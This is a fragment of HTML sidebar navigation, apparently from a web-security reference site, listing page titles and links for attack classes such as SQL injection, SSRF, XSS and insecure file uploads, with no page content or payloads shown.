Request Smuggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Request%20Smuggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Request Smuggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_44">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SAML Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SAML%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SAML Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_45">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
SQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google BigQuery SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cassandra Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DB2 Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hibernate Query Language Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MSSQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
MySQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Oracle SQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PostgreSQL injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
SQLite Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_46">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Include Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Include Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Request Forgery
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_47">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Request Forgery
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server-Side Request Forgery
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_48">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Server Side Template Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Server Side Template Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_49">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Tabnabbing
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Tabnabbing/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Tabnabbing
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_50">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Type Juggling
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Type%20Juggling/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Type Juggling
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Upload Insecure Files
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Upload Insecure Files
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CVE Ffmpeg HLS
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_2">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
CVE Ffmpeg HLS
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
FFmpeg HLS vulnerability
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration Apache .htaccess
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_3">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration Apache .htaccess
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.htaccess upload
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration Busybox httpd.conf
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_4">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration Busybox httpd.conf
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Index
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Configuration uwsgi.ini
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_5">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Configuration uwsgi.ini
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
uWSGI configuration file
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Extension Flash
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_6">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Extension Flash
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Index
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Extension PDF JS
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_7">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Extension PDF JS
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Generate PDF File Containing JavaScript Code
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Picture ImageMagick
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_8">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Picture ImageMagick
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
ImageMagick Exploits
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_51_9">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Zip Slip
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Zip Slip
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_52">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Cache Deception
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Cache Deception
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_53">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Web Sockets
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Web%20Sockets/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Web Sockets
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_54">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XPATH Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XPATH%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XPATH Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_55">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSLT Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSLT%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSLT Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_56">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
XSS Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Cross Site Scripting
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS in Angular and AngularJS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS with Relative Path Overwrite - IE 8/9 and lower
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
